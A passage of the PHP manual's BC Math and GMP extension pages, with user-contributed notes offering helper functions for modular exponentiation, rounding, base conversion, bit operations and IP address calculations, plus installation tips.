        for ($i=0;$i<strlen($erb);$i++) {
            if ($erb[$i]=="1") {
                $q=bcmod(bcmul($q,$a[$i]),$n);
            }
        }
        return($q);
    }
}
rrasss at gmail dot com 15-May-2006 02:46
However, if you read his full note, you see this paragraph:
"The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1."

So you still can, and should (over bcmod(bcpow(v, e), m) ), use his function if you are using larger exponents, "any exponent greater than a few tens of thousand."
ewilde aht bsmdevelopment dawt com 27-Sep-2005 09:46
Versions of PHP prior to 5 do not have bcpowmod in their repertoire.  This routine simulates this function using bcdiv, bcmod and bcmul.  It is useful to have bcpowmod available because it is commonly used to implement the RSA algorithm.

The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1.

This routine will iterate through a loop squaring the result, modulo the modulus, for every one-bit in the exponent.  The exponent is shifted right by one bit for each iteration.  When it has been reduced to zero, the calculation ends.

This method may be slower than bcpowmod but at least it works.

function PowModSim($Value, $Exponent, $Modulus)
  {
  // Check if simulation is even necessary.
  if (function_exists("bcpowmod"))
    return (bcpowmod($Value, $Exponent, $Modulus));

  // Loop until the exponent is reduced to zero.
  $Result = "1";

  while (TRUE)
    {
    if (bcmod($Exponent, 2) == "1")
      $Result = bcmod(bcmul($Result, $Value), $Modulus);

    if (($Exponent = bcdiv($Exponent, 2)) == "0") break;

    $Value = bcmod(bcmul($Value, $Value), $Modulus);
    }

  return ($Result);
  }
bcpow
bcscale
BC Math Functions


Set default scale parameter for all bc math functions

bcpowmod
bcsqrt
BC Math Functions
PHP Manual

bcscale

(PHP 4, PHP 5)

bcscale — Set default scale parameter for all bc math functions

Description

bool bcscale ( int $scale )

Sets the default scale parameter for all subsequent bc math functions that do not explicitly specify a scale parameter.

Parameters

scale

The scale factor.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcscale() example

<?php

// default scale : 3
bcscale(3);
echo bcdiv('105', '6.55957'); // 16.007

// this is the same without bcscale()
echo bcdiv('105', '6.55957', 3); // 16.007

?>

User Contributed Notes

rastislav dot bostik at bwd21 dot cz 25-Jan-2012 02:20
Previously stated one liner trailing 0 removing using rtrim() works fine except following class of subcases:

<?php
echo rtrim('100.0000', '0.'); // 1 instead 100
echo rtrim('1230.00000000', '0.'); // 123 instead 1230
?>

What seems to be working to me is using regular expression replacement. Althought it`s probably not that fast as rtrim(), I hope it should be more reliable:

<?php
function removeFloatNumStringZeroTrailer($input) {
    $patterns = array('/[\.][0]+$/','/([\.][0-9]*[1-9])([0]*)$/');
    $replaces = array('','$1');
    return preg_replace($patterns,$replaces,$input);
}

echo removeFloatNumStringZeroTrailer('100.0000'); // says 100
echo removeFloatNumStringZeroTrailer('1230.00000000'); // says 1230
?>
dcz at phpbb-seo dot com 25-Mar-2011 07:05
The general approach for a one liner trailing 0 removing would be :
<?php
echo rtrim('1.2500000000', '0.'); // 1.25
echo rtrim('1.00000000', '0.'); // 1
?>

Which seems totally appropriate since we are working with strings, and also is likely to be the fastest way.
Nitrogen 25-Jan-2009 09:00
Good day,
I made a little function to remove the excess zeroes after calculations.. it makes them cleaner and more presentable.

<?php

function DecimalClean($Input) {
  $Input=explode('.',$Input,2);
  if(!isset($Input[1])) $Input[1]=0;
  for($i=(strlen($Input[1])-1);$i>0;$i--) {
    if($Input[1]{$i}=='0')
      $Input[1]=substr($Input[1],0,-1);
    else break;
  }
  return(sprintf('%s%s',$Input[0],($Input[1]!='0')?".{$Input[1]}":''));
}

BCScale(10); // allow 10 decimals
$Sum = BCDiv(10,8); // make a calculation

printf("Result #1: %s\n", $Sum);
// 1.2500000000

printf("Result #2: %s\n", DecimalClean($Sum));
// 1.25

?>

Hope this helps,
Nitrogen.
mwgamera at gmail dot com 05-Dec-2007 06:45
These functions DO NOT round off your values. No arbitrary precision libraries do it this way. It stops calculating after reaching scale of decimal places, which mean that your value is cut off after scale number of digits, not rounded. To do the rounding use something like this:
<?php
        function bcround($number, $scale=0) {
                $fix = "5";
                for ($i=0;$i<$scale;$i++) $fix="0$fix";
                $number = bcadd($number, "0.$fix", $scale+1);
                return    bcdiv($number, "1.0",    $scale);
        }
?>
invincible at limitedintelligence dot com 08-Feb-2006 03:50
If you don't set the default scale, be careful when you're chaining together several BC math functions - since by default, these functions will round off your values, losing accuracy very quickly:

<?php
$a = 1.234
$b = 2.345
$c = 7.890

$ab = bcmul($a,$b);           // 2
$abc = bcmul($ab,$c);

echo $abc;                 // 15
?>

... compare with the answer you get when you use more decimal places:

<?php
$a = 1.234
$b = 2.345
$c = 7.890

bcscale(15);
$ab = bcmul($a,$b);           // 2.893730
$abc = bcmul($ab,$c);

echo $abc;                 // 22.83152970
?>
bcpowmod
bcsqrt
BC Math Functions


Get the square root of an arbitrary precision number

bcscale
bcsub
BC Math Functions
PHP Manual

bcsqrt

(PHP 4, PHP 5)

bcsqrt — Get the square root of an arbitrary precision number

Description

string bcsqrt ( string $operand [, int $scale ] )

Return the square root of the operand.

Parameters

operand

The operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

Returns the square root as a string, or NULL if operand is negative.

Examples

Example #1 bcsqrt() example

<?php

echo bcsqrt('2', 3); // 1.414

?>

See Also

  • bcpow() - Raise an arbitrary precision number to another

User Contributed Notes

There are no user contributed notes for this page.
bcscale
bcsub
BC Math Functions


Subtract one arbitrary precision number from another

bcsqrt
GMP
BC Math Functions
PHP Manual

bcsub

(PHP 4, PHP 5)

bcsub — Subtract one arbitrary precision number from another

Description

string bcsub ( string $left_operand , string $right_operand [, int $scale ] )

Subtracts the right_operand from the left_operand.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

The result of the subtraction, as a string.

Examples

Example #1 bcsub() example

<?php

$a = '1.234';
$b = '5';

echo bcsub($a, $b);     // -3
echo bcsub($a, $b, 4);  // -3.7660

?>

See Also

  • bcadd() - Add two arbitrary precision numbers

User Contributed Notes

info at DONOTSPAM dot ict-eagle dot eu 07-Aug-2009 12:43
Note that it is almost useless to put a integer higher than 6 maybe 7 in the scale parameter.

In some cases this might be needed. But for the simple souls, more than 4 is not required in most of the time.
bcsqrt
GMP
BC Math Functions


GNU Multiple Precision

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • GMP Functions
    • gmp_abs — Absolute value
    • gmp_add — Add numbers
    • gmp_and — Bitwise AND
    • gmp_clrbit — Clear bit
    • gmp_cmp — Compare numbers
    • gmp_com — Calculates one's complement
    • gmp_div_q — Divide numbers
    • gmp_div_qr — Divide numbers and get quotient and remainder
    • gmp_div_r — Remainder of the division of numbers
    • gmp_div — Alias of gmp_div_q
    • gmp_divexact — Exact division of numbers
    • gmp_fact — Factorial
    • gmp_gcd — Calculate GCD
    • gmp_gcdext — Calculate GCD and multipliers
    • gmp_hamdist — Hamming distance
    • gmp_init — Create GMP number
    • gmp_intval — Convert GMP number to integer
    • gmp_invert — Inverse by modulo
    • gmp_jacobi — Jacobi symbol
    • gmp_legendre — Legendre symbol
    • gmp_mod — Modulo operation
    • gmp_mul — Multiply numbers
    • gmp_neg — Negate number
    • gmp_nextprime — Find next prime number
    • gmp_or — Bitwise OR
    • gmp_perfect_square — Perfect square check
    • gmp_popcount — Population count
    • gmp_pow — Raise number into power
    • gmp_powm — Raise number into power with modulo
    • gmp_prob_prime — Check if number is "probably prime"
    • gmp_random — Random number
    • gmp_scan0 — Scan for 0
    • gmp_scan1 — Scan for 1
    • gmp_setbit — Set bit
    • gmp_sign — Sign of number
    • gmp_sqrt — Calculate square root
    • gmp_sqrtrem — Square root with remainder
    • gmp_strval — Convert GMP number to string
    • gmp_sub — Subtract numbers
    • gmp_testbit — Tests if a bit is set
    • gmp_xor — Bitwise XOR

User Contributed Notes

Anonymous 15-Nov-2011 05:38
Be careful with GMP - it considers leading zeros in a number string as meaning the number is in octal, whereas 'bc' doesn't:

  gmp_strval("000100", 10) => 64

  bcmul("000100", "1") => 100
bcsub
Introduction
Mathematical Extensions


Introduction

These functions allow you to work with arbitrary-length integers using the GNU MP library.

These functions have been added in PHP 4.0.4.

Note:

Most GMP functions accept GMP number arguments, defined as resource below. However, most of these functions will also accept numeric and string arguments, given that it is possible to convert the latter to a number. Also, if there is a faster function that can operate on integer arguments, it would be used instead of the slower function when the supplied arguments are integers. This is done transparently, so the bottom line is that you can use integers in every function that expects GMP number. See also the gmp_init() function.

Warning

If you want to explicitly specify a large integer, specify it as a string. If you don't do that, PHP will interpret the integer-literal first, possibly resulting in loss of precision, even before GMP comes into play.

Note: This extension is available on Windows platforms since PHP 5.1.0.

User Contributed Notes

There are no user contributed notes for this page.
GMP
Installing/Configuring
GMP


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
GMP


Requirements

You can download the GMP library from » http://gmplib.org/#DOWNLOAD. This site also has the GMP manual available.

You will need GMP version 2 or better to use these functions. Some functions may require more recent version of the GMP library.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

In order to have these functions available, you must compile PHP with GMP support by using the --with-gmp option.

User Contributed Notes

admin at ee-dd dot com 03-Oct-2011 09:18
on ubuntu you can get it from Synaptic Package Manager
just search words "gmp",you'll find it.
MiquelFire 24-Aug-2009 12:40
With PHP 5.3 on Windows, you need to use the VC9 build, otherwise you will not have the dll to enable GMP
Chris 02-Mar-2009 11:49
Under Windows you will need to uncomment the line

;extension=php_gmp.dll

within the php.ini and restart Apache.
arancaytar dot ilyaran at gmail dot com 30-Dec-2008 11:48
Note that this parameter requires a path, as in --with-gmp=DIR, if gmp is installed in a non-standard location, which is almost always the case when you are building your own PHP installation in your home directory.

Obvious, but it's an easy mistake.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

Most GPM functions operate on or return GMP number resources.

User Contributed Notes

Numien 17-Sep-2008 09:52
For a GMP number resource, get_resource_type() gives "GMP integer"
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

GMP_ROUND_ZERO (integer)
GMP_ROUND_PLUSINF (integer)
GMP_ROUND_MINUSINF (integer)
GMP_VERSION (string)
The GMP library version

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
GMP


Examples

Example #1 Factorial function using GMP

<?php
function fact($x)
{
    $return = 1;
    for ($i=2; $i < $x; $i++) {
        $return = gmp_mul($return, $i);
    }
    return $return;
}

echo gmp_strval(fact(1000)) . "\n";
?>

This will calculate factorial of 1000 (pretty big number) very fast.

User Contributed Notes

rks at rks dot org 13-Dec-2008 09:25
I believe that "fact" computes the factorial of $x-1 not of $x.  The for statement should be

for ($i=2; $i <= $x; $i++)

not

for ($i=2; $i < $x; $i++)

If you try to compute the factorial of 2 for example, the for loop will not be executed and the result will be 1.
Predefined Constants
GMP Functions
GMP


GMP Functions

See Also

More mathematical functions can be found in the Mathematical Extensions section

Table of Contents

  • gmp_abs — Absolute value
  • gmp_add — Add numbers
  • gmp_and — Bitwise AND
  • gmp_clrbit — Clear bit
  • gmp_cmp — Compare numbers
  • gmp_com — Calculates one's complement
  • gmp_div_q — Divide numbers
  • gmp_div_qr — Divide numbers and get quotient and remainder
  • gmp_div_r — Remainder of the division of numbers
  • gmp_div — Alias of gmp_div_q
  • gmp_divexact — Exact division of numbers
  • gmp_fact — Factorial
  • gmp_gcd — Calculate GCD
  • gmp_gcdext — Calculate GCD and multipliers
  • gmp_hamdist — Hamming distance
  • gmp_init — Create GMP number
  • gmp_intval — Convert GMP number to integer
  • gmp_invert — Inverse by modulo
  • gmp_jacobi — Jacobi symbol
  • gmp_legendre — Legendre symbol
  • gmp_mod — Modulo operation
  • gmp_mul — Multiply numbers
  • gmp_neg — Negate number
  • gmp_nextprime — Find next prime number
  • gmp_or — Bitwise OR
  • gmp_perfect_square — Perfect square check
  • gmp_popcount — Population count
  • gmp_pow — Raise number into power
  • gmp_powm — Raise number into power with modulo
  • gmp_prob_prime — Check if number is "probably prime"
  • gmp_random — Random number
  • gmp_scan0 — Scan for 0
  • gmp_scan1 — Scan for 1
  • gmp_setbit — Set bit
  • gmp_sign — Sign of number
  • gmp_sqrt — Calculate square root
  • gmp_sqrtrem — Square root with remainder
  • gmp_strval — Convert GMP number to string
  • gmp_sub — Subtract numbers
  • gmp_testbit — Tests if a bit is set
  • gmp_xor — Bitwise XOR

User Contributed Notes

Nitrogen 06-Sep-2010 08:02
I made a function that can be used for converting numbers to any base you wish.. instead of returning a string of pre-defined index of characters (i.e. 0-9a-z) you could simply make your own of any length using the array of indexes it returns.
I looked around and didn't see anybody made one, I needed one for a simple compression algorithm with only numbers, I've not actually made it yet but this was an initial idea.

<?php
// ConvertBase function explained:
// we add an array item $Input%$Base floored and divide $Input by $Base floored.
// repeat until $Input is no longer above 0.

function ConvertBase($Input,$Base=10) {
  $Input=gmp_init($Input);
  $Result=array();

  for($i=0;$i<1||gmp_sign($Input)==1;$i++) {
    $Result[]=gmp_intval(gmp_mod($Input,$Base));
    $Input=gmp_div_q($Input,$Base);
  }
  $Result=array_reverse($Result);
  return($Result);
}

// an example how gmp_strval($.., 36); could be achieved:

// the funny emergency number from The IT Crowd
// (leading zeroes aren't liked in gmp_init though)
$Input = '1189998819991197253';

// our example 36 characters used in gmp_strval($.., 36);
$Chars = '0123456789abcdefghijklmnopqrstuvwxyz';

// count the $Chars so they're all used
// or use your own number less than the length of $Chars
$Base = strlen($Chars);

// perform
$Result = ConvertBase($Input,$Base);

// replace the resulting index with the corrosponding characters of the index in $Chars
for($i=0;$i<count($Result);$i++)
  $Result[$i]=$Chars{$Result[$i]};

// compare
printf("gmp_strval:  %s\r\n",gmp_strval($Input,36));
printf("BaseConvert: %s\r\n",implode($Result));

/* OUTPUT:
gmp_strval:  91h7dixfq6h1
BaseConvert: 91h7dixfq6h1
*/
?>
The example shows a familiar result of course, but the idea of this function was so that you can use whatever base you wish, and display entirely your own output to represent any number of choice.

Also, for those who wish to do bitwise shifting, it's quite simple.. to shift left, just multiply the number by pow(2,x), and to shift right, divide by pow(2,x).

<?php
function gmp_shiftl($x,$n) { // shift left
  return(gmp_mul($x,gmp_pow(2,$n)));
}

function gmp_shiftr($x,$n) { // shift right
  return(gmp_div($x,gmp_pow(2,$n)));
}
?>

Have fun,
Nitrogen.
john at worldmapad dot com 22-Jul-2006 11:24
Here's a quick and dirty way to use simple GMP functions with PHP without recompiling. It is dependent upon the use of the exec() function, so make sure you can use exec(). While in safe mode you must consider the safe_mode_exec_dir directive. And don't simply pass user input to the exec function without validating the input first!

Download and Install GMP as instructed in README and INSTALL files.
On my MAC OS X Server, I just did the following:
./configure
make
make check
make install
This installed it in the /usr/local directory. There were some errors, but not with any functions I needed.
Within the gmp-4.#.# cd into the demos directory. Then compile pexpr.c by typing:
make pexpr
This is a simple expressions parser which serves as a simple interface to some of the basic GMP functions.
You can test it then like:
./pexpr "102394874783 * 23498748";
Now you may interface with it using PHP's exec() function.
richard-slater.co.uk 22-Feb-2004 01:03
For those (like me) who are trying to do bit masking with very large numbers, here is a useful function to do the work for you.

<?php
  function isBitSet($bitMask, $bitMap)
  {
    return (bool) gmp_intval(gmp_div(gmp_and($bitMask, $bitMap),$bitMask));
  }
?>
helvecio_oliveira at yahoo dot com dot br 15-Oct-2003 01:51
=============================================================
A set of very nice functions to handle IP Address with gmplib:

The best way to store a range into a database is store:
dNet ..... decimal representation of a Net
dMask .... decimal representation of a Mask

All another parameters can be calculated.

<?
/*
f_ip2dec($a) ................... IP string to decimal
f_dec2ip($a) ................... decimal to IP string

f_dec2ipall($dNet,$dMask) ...... decimal Net and Mask to an Array with several IP parameters

f_dec2cidr($a) ................. decimal Mask to CIDR

f_and($a,$b) ................... and
f_or($a,$b) .................... or
f_xor($a,$b) ................... xor
f_not($a) ...................... not
f_dec2bin($a) .................. decimal to binary string
f_bin2dec($a) .................. binary string to decimal
*/

function f_and($a,$b){
$a=gmp_init(strval($a));
$b=gmp_init(strval($b));
$d=gmp_and($a,$b);
return floatval(gmp_strval($d));
}

function f_or($a,$b){
$a=gmp_init(strval($a));
$b=gmp_init(strval($b));
$d=gmp_or($a,$b);
return floatval(gmp_strval($d));
}

function f_xor($a,$b){
$a=gmp_init(strval($a));
$b=gmp_init(strval($b));
$d=gmp_xor($a,$b);
return floatval(gmp_strval($d));
}

function f_not($a){
$a=gmp_init(strval($a));
$d=gmp_strval($a,2);
$d=str_replace("1","x",$d);
$d=str_replace("0","1",$d);
$d=str_replace("x","0",$d);
$d=gmp_init($d,2);
return floatval(gmp_strval($d,10));
}

function f_dec2bin($a){
$a=gmp_init(strval($a));
return gmp_strval($a,2);
}

function f_bin2dec($a){
$a=gmp_init(strval($a),2);
return floatval(gmp_strval($a,10));
}

function f_ip2dec($a){
$d = 0.0;
$b = explode(".", $a,4);
for ($i = 0; $i < 4; $i++) {
        $d *= 256.0;
        $d += $b[$i];
    };
return $d;
}

function f_dec2ip($a){
    $b=array(0,0,0,0);
    $c = 16777216.0;
    $a += 0.0;
    for ($i = 0; $i < 4; $i++) {
        $k = (int) ($a / $c);
        $a -= $c * $k;
        $b[$i]= $k;
        $c /=256.0;
    };
    $d=join('.', $b);
    return($d);
}

function f_dec2cidr($a){
$a=gmp_init(strval($a));
$d=strlen(str_replace("0","",gmp_strval($a,2)));
return $d;
}

function f_dec2ipall($dNet,$dMask){
  $dWildCard=f_not($dMask);
  $IpAll["Net"]=f_dec2ip($dNet);
  $IpAll["Mask"]=f_dec2ip($dMask);
  $IpAll["WildCard"]=f_dec2ip($dWildCard);
  $IpAll["Cidr"]=f_dec2cidr($dMask);
  $IpAll["Bcast"]=f_dec2ip(f_or($dNet,$dWildCard));
  $IpAll["nIp"]=$dWildCard+1;
  $IpAll["nIpUtil"]=$dWildCard-1;
  if($IpAll["nIp"] > 2){
        $IpAll["IpFrom"]=f_dec2ip($dNet+1);
        $IpAll["IpTo"]=f_dec2ip($dNet+$dWildCard-1);
  }
  else
  {
        $IpAll["IpFrom"]="-";
        $IpAll["IpTo"]="-";
        $IpAll["nIpUtil"]=0;
  }
  return $IpAll;
}

?>

=============================================================
GMP install steps in Mandrake 9.1:
----------------------------------------------------------
cp -r /usr/src/php-devel/extensions/gmp /tmp/gmp
cd /tmp/gmp
phpize
./configure
make install
echo "extension = gmp.so" > /etc/php/90_gmp.ini

Restart apache web server.
----------------------------------------------------------
gmp.so is in:
/usr/lib/php/extensions/

look in phpinfo, the string:
/etc/php/90_gmp.ini

Needs these tools:
autoconf
automake
libtool
m4
php430-devel-430-11mdk.rpm
all rpm�s that are envolved to run and compile gmp (*gmp*.rpm)

Some docs about self contained extensions:
/usr/share/doc/php430-devel-430/SELF-CONTAINED-EXTENSIONS
=============================================================
Examples
gmp_abs
GMP


Absolute value

GMP Functions
gmp_add
GMP Functions
PHP Manual

gmp_abs

(PHP 4 >= 4.0.4, PHP 5)

gmp_abs — Absolute value

Description

resource gmp_abs ( resource $a )

Get the absolute value of a number.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

Returns the absolute value of a, as a GMP number.

Examples

Example #1 gmp_abs() example

<?php
$abs1 = gmp_abs("274982683358");
$abs2 = gmp_abs("-274982683358");

echo gmp_strval($abs1) . "\n";
echo gmp_strval($abs2) . "\n";
?>

The above example will output:

274982683358
274982683358

User Contributed Notes

There are no user contributed notes for this page.
GMP Functions
gmp_add
GMP Functions


Add numbers

gmp_abs
gmp_and
GMP Functions
PHP Manual

gmp_add

(PHP 4 >= 4.0.4, PHP 5)

gmp_add — Add numbers

Description

resource gmp_add ( resource $a , resource $b )

Add two numbers.

Parameters

a

A number that will be added.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

A number that will be added.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number representing the sum of the arguments.

Examples

Example #1 gmp_add() example

<?php
$sum = gmp_add("123456789012345", "76543210987655");
echo gmp_strval($sum) . "\n";
?>

The above example will output:

200000000000000

User Contributed Notes

charlie at oblivion dot cz 18-Feb-2007 04:54
gmp_* functions don't accept strings with a leading '+':
<?php
echo gmp_strval(gmp_init('+42'));      #0
echo gmp_strval(gmp_add('42', '+42')); #42
echo bcadd('+42', '+42');              #84
?>
gmp_abs
gmp_and
GMP Functions


Bitwise AND

gmp_add
gmp_clrbit
GMP Functions
PHP Manual

gmp_and

(PHP 4 >= 4.0.4, PHP 5)

gmp_and — Bitwise AND

Description

resource gmp_and ( resource $a , resource $b )

Calculates bitwise AND of two GMP numbers.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number representing the bitwise AND comparison.

Examples

Example #1 gmp_and() example

<?php
$and1 = gmp_and("0xfffffffff4", "0x4");
$and2 = gmp_and("0xfffffffff4", "0x8");
echo gmp_strval($and1) . "\n";
echo gmp_strval($and2) . "\n";
?>

The above example will output:

4
0

User Contributed Notes

There are no user contributed notes for this page.
gmp_add
gmp_clrbit
GMP Functions


Clear bit

gmp_and
gmp_cmp
GMP Functions
PHP Manual

gmp_clrbit

(PHP 4 >= 4.0.4, PHP 5)

gmp_clrbit — Clear bit

Description

void gmp_clrbit ( resource $a , int $index )

Clears (sets to 0) bit index in a. The index starts at 0.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

index

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number resource.

Examples

Example #1 gmp_clrbit() example

<?php
$a = gmp_init("0xff");
gmp_clrbit($a, 0); // index starts at 0, least significant bit
echo gmp_strval($a) . "\n";
?>

The above example will output:

254

Notes

Note:

Unlike most of the other GMP functions, gmp_clrbit() must be called with a GMP resource that already exists (using gmp_init() for example). One will not be automatically created.

See Also

  • gmp_setbit() - Set bit
  • gmp_testbit() - Tests if a bit is set

User Contributed Notes

There are no user contributed notes for this page.
gmp_and
gmp_cmp
GMP Functions


Compare numbers

gmp_clrbit
gmp_com
GMP Functions
PHP Manual

gmp_cmp

(PHP 4 >= 4.0.4, PHP 5)

gmp_cmp — Compare numbers

Description

int gmp_cmp ( resource $a , resource $b )

Compares two numbers.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

Returns a positive value if a > b, zero if a = b and a negative value if a < b.

Examples

Example #1 gmp_cmp() example

<?php
$cmp1 = gmp_cmp("1234", "1000"); // greater than
$cmp2 = gmp_cmp("1000", "1234"); // less than
$cmp3 = gmp_cmp("1234", "1234"); // equal to

echo "$cmp1 $cmp2 $cmp3\n";
?>

The above example will output:

1 -1 0

User Contributed Notes

russell dot harper at springboardnetworks dot com 28-Jul-2010 01:43
I've encountered a memory leak in gmp_cmp if a literal string is used as the second value inside of loops. A workaround is to initialize first, then use the variable. I wasn't able to generate a minimum code sample, it's something more complicated, but I was able to fix it as follows:

<?php

$x = gmp_init(strval(mt_rand()));

// Depending on surrounding code, may have leaks
while (true)
{
    if (!gmp_cmp($x, '1'))
        print 'one'."\n";
}

// Usually doesn't have leaks
$one = gmp_init('1');

while (true)
{
    if (!gmp_cmp($x, $one))
        print 'one'."\n";
}

?>
gmp_clrbit
gmp_com
GMP Functions


Calculates one's complement

gmp_cmp
gmp_div_q
GMP Functions
PHP Manual

gmp_com

(PHP 4 >= 4.0.4, PHP 5)

gmp_com — Calculates one's complement

Description

resource gmp_com ( resource $a )

Returns the one's complement of a.

Parameters

a

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

Returns the one's complement of a, as a GMP number.

Examples

Example #1 gmp_com() example

<?php
$com = gmp_com("1234");
echo gmp_strval($com) . "\n";
?>

The above example will output:

-1235

User Contributed Notes

xo at jdbartlett dot com 13-Apr-2010 10:07
If you're using one's compliment (bitwise NOT) to flip all $a's bits, don't forget that you need to use a mask to specify how many bits you expect in your result:

<?php gmp_and(gmp_com('1234'), '2047') ?>
>> 813 // 01100101101 in binary

I chose 2047 because 1234 is an 11-bit binary number and 2047 is the maximum an 11-bit register can hold:

11111111111  (2047)
10011010010  (1234)
01100101101  (813)
gmp_cmp
gmp_div_q
GMP Functions


Divide numbers

gmp_com
gmp_div_qr
GMP Functions
PHP Manual

gmp_div_q

(PHP 4 >= 4.0.4, PHP 5)

gmp_div_q — Divide numbers

Description

resource gmp_div_q ( resource $a , resource $b [, int $round = GMP_ROUND_ZERO ] )

Divides a by b and returns the integer result.

Parameters

a

The number being divided.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

b

The number that a is being divided by.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

round

The result rounding is defined by the round, which can have the following values:

  • GMP_ROUND_ZERO: The result is truncated towards 0.
  • GMP_ROUND_PLUSINF: The result is rounded towards +infinity.
  • GMP_ROUND_MINUSINF: The result is rounded towards -infinity.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number resource.

Examples

Example #1 gmp_div_q() example

<?php
$div1 = gmp_div_q("100", "5");
echo gmp_strval($div1) . "\n";

$div2 = gmp_div_q("1", "3");
echo gmp_strval($div2) . "\n";

$div3 = gmp_div_q("1", "3", GMP_ROUND_PLUSINF);
echo gmp_strval($div3) . "\n";

$div4 = gmp_div_q("-1", "4", GMP_ROUND_PLUSINF);
echo gmp_strval($div4) . "\n";

$div5 = gmp_div_q("-1", "4", GMP_ROUND_MINUSINF);
echo gmp_strval($div5) . "\n";
?>

The above example will output:

20
0
1
0
-1

Notes

Note:

This function can also be called as gmp_div().

See Also

  • gmp_div_r() - Remainder of the division of numbers
  • gmp_div_qr() - Divide numbers and get quotient and remainder

User Contributed Notes

There are no user contributed notes for this page.
gmp_com
gmp_div_qr
GMP Functions


Divide numbers and get quotient and remainder

gmp_div_q
gmp_div_r
GMP Functions
PHP Manual

gmp_div_qr

(PHP 4 >= 4.0.4, PHP 5)

gmp_div_qr — Divide numbers and get quotient and remainder

Description

array gmp_div_qr ( resource $n , resource $d [, int $round = GMP_ROUND_ZERO ] )

The function divides n by d.

Parameters

n

The number being divided.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

d

The number that n is being divided by.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

round

See the gmp_div_q() function for description of the round argument.

Return Values

Returns an array, with the first element being [n/d] (the integer result of the division) and the second being (n - [n/d] * d) (the remainder of the division).

Examples

Example #1 Division of GMP numbers

<?php
$a = gmp_init("0x41682179fbf5");
$res = gmp_div_qr($a, "0xDEFE75");
printf("Result is: q - %s, r - %s",
       gmp_strval($res[0]), gmp_strval($res[1]));
?>

See Also

  • gmp_div_q() - Divide numbers
  • gmp_div_r() - Remainder of the division of numbers

User Contributed Notes

There are no user contributed notes for this page.
gmp_div_q
gmp_div_r
GMP Functions


Remainder of the division of numbers

gmp_div_qr
gmp_div
GMP Functions
PHP Manual

gmp_div_r

(PHP 4 >= 4.0.4, PHP 5)

gmp_div_r — Remainder of the division of numbers

Description

resource gmp_div_r ( resource $n , resource $d [, int $round = GMP_ROUND_ZERO ] )

Calculates remainder of the integer division of n by d. The remainder has the sign of the n argument, if not zero.

Parameters

n

The number being divided.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

d

The number that n is being divided by.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

round

See the gmp_div_q() function for description of the round argument.

Return Values

The remainder, as a GMP number.

Examples

Example #1 gmp_div_r() example

<?php
$div = gmp_div_r("105", "20");
echo gmp_strval($div) . "\n";
?>

The above example will output:

5

See Also

  • gmp_div_q() - Divide numbers
  • gmp_div_qr() - Divide numbers and get quotient and remainder

User Contributed Notes

Armando 24-Jan-2006 10:56
A good function to help to find if a number is odd or pair.

function is_odd($tmpnumber){

        if ($tmpnumber < '0') $tmpnumber = gmp_mod($tmpnumber);
        if ($tmpnumber == '0') return(false);
        elseif ($tmpnumber == '1') return(true);
        elseif ($tmpnumber > '1'){
    if (gmp_div_q($tmpnumber,'2') != '0') return(true);
    else return(false);
    }
}
gmp_div_qr
gmp_div
GMP Functions


Alias of gmp_div_q

gmp_div_r
gmp_divexact
GMP Functions
PHP Manual

gmp_div

(PHP 4 >= 4.0.4, PHP 5)

gmp_div — Alias of gmp_div_q()

Description

This function is an alias of: gmp_div_q().

User Contributed Notes

There are no user contributed notes for this page.
gmp_div_r
gmp_divexact
GMP Functions


Exact division of numbers

gmp_div
gmp_fact
GMP Functions
PHP Manual

gmp_divexact

(PHP 4 >= 4.0.4, PHP 5)

gmp_divexact — Exact division of numbers

Description

resource gmp_divexact ( resource $n , resource $d )

Divides n by d, using fast "exact division" algorithm. This function produces correct results only when it is known in advance that d divides n.

Parameters

n

The number being divided.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

d

The number that a is being divided by.

It can be either a GMP number resource, or a numeric string given that it is possible to convert the latter to a number.

Return Values

A GMP number resource.

Examples

Example #1 gmp_divexact() example

<?php
